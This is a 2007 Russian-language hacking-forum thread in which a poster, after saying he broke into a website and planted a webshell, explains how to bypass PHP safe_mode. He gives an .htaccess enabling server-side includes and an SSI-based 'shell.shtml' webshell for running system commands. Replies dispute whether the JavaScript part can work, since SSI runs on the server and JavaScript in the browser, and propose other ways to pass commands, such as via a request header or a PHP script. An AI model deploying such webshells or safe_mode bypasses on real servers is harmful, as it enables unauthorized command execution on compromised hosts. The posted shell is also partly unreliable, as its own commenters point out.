обход ограничений safe_mode...

обход ограничений safe_mode...

14.04.2007, 12:30

p-range

Участник форума

Регистрация: 05.02.2006

Сообщений: 168

С нами: 10663526

Репутация: 715

обход ограничений safe_mode...

Это просто один из способов обойти ограничения на выполнение системных команд при safe_mode = on.
Целью не является сделать полный обзор по всем способам обхода ограничений safe_mode, а сделать упор на один.

Недавно у меня появилась такая проблема, взломал сайт (неважно как), получил на нем вебшелл. Права на запись были, но... safe_mode был как на зло включен. Тогда у меня появилась идея как его обойти. Точнее способ был известен и до меня, но я его предоставлю в более удобном виде.

Итак, есть вебшелл, права на запись в любую директорию сайта. Для начала смотрим phpinfo();. В поле Loaded Modules смотрим загружен ли модуль mod_include, если да, то все нормально. Создаем файл .htaccess следующего содержания:

Код:

AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes

Далее пишем своеобразный "вебшелл" на JavaScript + SSI (Server Side Includes), позволяющий обходить ограничения safe_mode и выполнять системные команды. Итак, создаем файл shell.shtml следующего содержания:

Код:

<html>
<body>
<script language="JavaScript">
<!--
function execute() {
var cmd = document.exec.cmd.value;
document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>');
}
//-->
</script>
<form name="exec">
<input type="text" name="cmd" size="20" value="">&nbsp;
<input type="submit" value="exec" onClick="execute()">
</form>
</body>
</html>

Все, наш скрипт готов. Для тех кто не понял, мы собираемся выполнять команды с помощью этой строчки:

Код:

<!--#exec cmd="uname -a;"-->

А JavaScript вставки и форма нужна для того чтобы не изменять каждый раз скрипт вручную, а делать все через веб интерфейс.

Вот собственно все что я хотел рассказать.

Полезные ссылки:
SSI
Обход Safe Mode
Поднимаем железный занавес

𝕏 Twitter Reddit Telegram Копировать ссылку

Последний раз редактировалось p-range; 14.04.2007 в 12:31.. Причина: опечатка в тексте

15.04.2007, 01:52

ShAnKaR

Постоянный

Регистрация: 14.07.2005

Сообщений: 964

С нами: 10960226

Репутация: 1424

НЕ ВЕРЮ (c) станиславский
не верю что будет работать так как ssi должен выполнятся на стороне сервера а javascript выполняется на стороне клиента

если очень хочется неменяя кода скрипта выполнять разные команды можно сделать чтоб в кмд передавался какойнить HTTP_ACCEPT от клиента с командой, да и вобще ssi давно и много где освещалось так что незачет.

Последний раз редактировалось ShAnKaR; 15.04.2007 в 01:56..

16.04.2007, 10:22

p-range

Участник форума

Регистрация: 05.02.2006

Сообщений: 168

С нами: 10663526

Репутация: 715

ShAnKaR, не веришь, проверь.

Цитата:

ssi должен выполнятся на стороне сервера а javascript выполняется на стороне клиента

ты хоть понял для чего тут JavaScript нужен? выполняется только SSI, яваскрипт нужен лишь для автоматизации. тоесть для того чтобы не заливать каждый раз скрипт на сервер.

16.04.2007, 18:54

ShAnKaR

Постоянный

Регистрация: 14.07.2005

Сообщений: 964

С нами: 10960226

Репутация: 1424

Цитата:

Сообщение от p-range

ShAnKaR, не веришь, проверь.

ты хоть понял для чего тут JavaScript нужен? выполняется только SSI, яваскрипт нужен лишь для автоматизации. тоесть для того чтобы не заливать каждый раз скрипт на сервер.

эээх не слушают меня ни когда

и не знают а спорят и спорят

Последний раз редактировалось ShAnKaR; 17.04.2007 в 19:08..

16.04.2007, 10:34

SMiX

Участник форума

Регистрация: 25.07.2005

Сообщений: 246

С нами: 10944326

Репутация: 174

Как сервер узнает, какую команду выполнять? Чисто физически браузер не передает серву участок кода с ssi...

Можно сделать у формы экшн на ифрейм, который ведет на скрипт, который в свою очередь прописывает код в .shtml-файл и перенаплавляет на него посылкой хеадера Location.

Последний раз редактировалось Koller; 16.04.2007 в 14:59..

16.04.2007, 10:47

p-range

Участник форума

Регистрация: 05.02.2006

Сообщений: 168

С нами: 10663526

Репутация: 715

Цитата:

Можно сделать у формы экшн на ифрейм, который ведет на скрипт, который в свою очередь прописывает код в .shtml-файл и перенаплавляет на него посылкой хеадера Location.

ты имеешь ввиду php?

Создать сделку

Мои сделки

Сделка